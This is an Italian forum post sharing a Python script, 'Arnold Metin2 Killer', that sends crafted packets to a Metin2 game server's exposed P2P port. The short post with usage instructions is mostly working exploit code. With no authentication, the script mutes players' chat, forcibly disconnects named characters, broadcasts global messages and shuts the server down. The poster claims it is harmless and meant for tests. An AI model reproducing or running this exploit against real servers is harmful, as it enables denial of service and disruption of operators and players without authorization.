Ultima modifica da un moderatore:
Tempo fa fu rilasciato l'admintool (detto anche apitool) in python che sfruttava SHOWMETHEMONEY, eccovi la versione P2P.
--- PS TRANQUILLI NON è NESSUNA LAMERATA VISTO CHE QUASI TUTTI I SERVER HANNO IL FIREWALL CON IL BLOCCO DELLE P2P, QUINDI USATELO PER FARE DEI TEST ETC ---
PER FARLO FUNZIONARE:
- Scaricarvi python nel pc (vi consiglio la 2.6 oppure la 2.7)
- Avere un server di metin2 con le porte p2p attive (senza il firewall che le blocca)
- Avviare lo script premendo due volte con il tasto destro
--- PS TRANQUILLI NON è NESSUNA LAMERATA VISTO CHE QUASI TUTTI I SERVER HANNO IL FIREWALL CON IL BLOCCO DELLE P2P, QUINDI USATELO PER FARE DEI TEST ETC ---
PER FARLO FUNZIONARE:
- Scaricarvi python nel pc (vi consiglio la 2.6 oppure la 2.7)
- Avere un server di metin2 con le porte p2p attive (senza il firewall che le blocca)
- Avviare lo script premendo due volte con il tasto destro
Codice:
import socket
class P2P_Tool:
def __init__(self, host, port, command):
self.host=host
self.port=port
self.command=command
def Send(self):
c=socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
c.connect((self.host, self.port))
if self.command.startswith("/block_chat"):
array=self.command.split(" ", 2)
if array[0]=="/block_chat":
nomepg=array[1]
tempo=array[2]
query="\x16%s" % nomepg
size=25-len(nomepg)
while size:
query+="\x00"
size-=1
query+="%s\x00" % tempo
c.send(query)
recv=c.recv(1024)
c.close()
if len(recv)>0:
print "Comando eseguito con successo..."
else:
print "Comando non eseguito..."
else:
print "Comando non valido..."
elif self.command.startswith("/dc"):
array=self.command.split(" ", 1)
if array[0]=="/dc":
nomepg=array[1]
query="\x07%s" % nomepg
size=25-len(nomepg)
while size:
query+="\x00"
size-=1
c.send(query)
recv=c.recv(1024)
c.close()
if len(recv)>0:
print "Comando eseguito con successo..."
else:
print "Comando non eseguito..."
else:
print "Comando non valido..."
elif self.command.startswith("/n"):
array=self.command.split(" ", 2)
if array[0]=="/n" or array[0]=="/notice":
messaggio=array[1]
query="\x04\x08\x00\x00\x00\x20%s\x00" % messaggio
c.send(query)
recv=c.recv(1024)
c.close()
if len(recv)>0:
print "Comando eseguito con successo..."
else:
print "Comando non eseguito..."
else:
print "Comando non valido..."
elif self.command.startswith("/ruf"):
array=self.command.split(" ", 2)
if array[0]=="/ruf":
messaggio=array[1]
query="\x08\x01%s\x00" % messaggio
size=86-len(messaggio)
while size:
query+="\x00"
size-=1
c.send(query)
recv=c.recv(1024)
c.close()
if len(recv)>0:
print "Comando eseguito con successo..."
else:
print "Comando non eseguito..."
else:
print "Comando non valido..."
elif self.command=="/shutdown":
query="\x05\x01\x00"
c.send(query)
recv=c.recv(1024)
c.close()
if len(recv)>0:
print "Comando eseguito con successo..."
else:
print "Comando non eseguito..."
else:
print "Comando non valido..."
def Form():
global ip
global porta
cmd=raw_input("\nComando (scrivi /help per l'aiuto): ")
if cmd != "/help":
P2P=P2P_Tool(ip, porta, cmd)
P2P.Send()
Form()
else:
print "\nComandi:\n*1) /block_chat nomepg tempo\n*2) /dc nomepg\n*3) /n messaggio\n*4) /ruf messaggio\n*5) /shutdown"
print "\n1=Blocca la chat del personaggio scritto per i secondi scritti, una volta passati la chat verra' sbloccata automaticamente."
print "2=Crasha il personaggio scritto."
print "3=Invia un messaggio globale sulla chat gm."
print "4=Invia un messaggio globale sulla chat errori."
print "5=Shutta il server."
Form()
print """
_ _
_ _ | | | | _ _
| || || | | || || |
=H| || || |========nnnn=============nnnn========| || || |H=
|_||_|| | | | | | | ||_||_|
|_| / | | \ |_|
| | | |
\ (_ /~~~\ _) /
\ \ ( '_' ) / /
\ )\ = /( /
\ (_) (_) /
\ / ~~~ \ /
( )
\ /
\ /
)==(O)==(
"""
print "\n***(C) 2013-2014 Heroes of Bodybuilding\nArnold Metin2 Killer, By skype:walker.ultimate***\n"
ip=raw_input("Indirizzo IP del server: ")
porta=input("Porta P2P del server: " )
Form()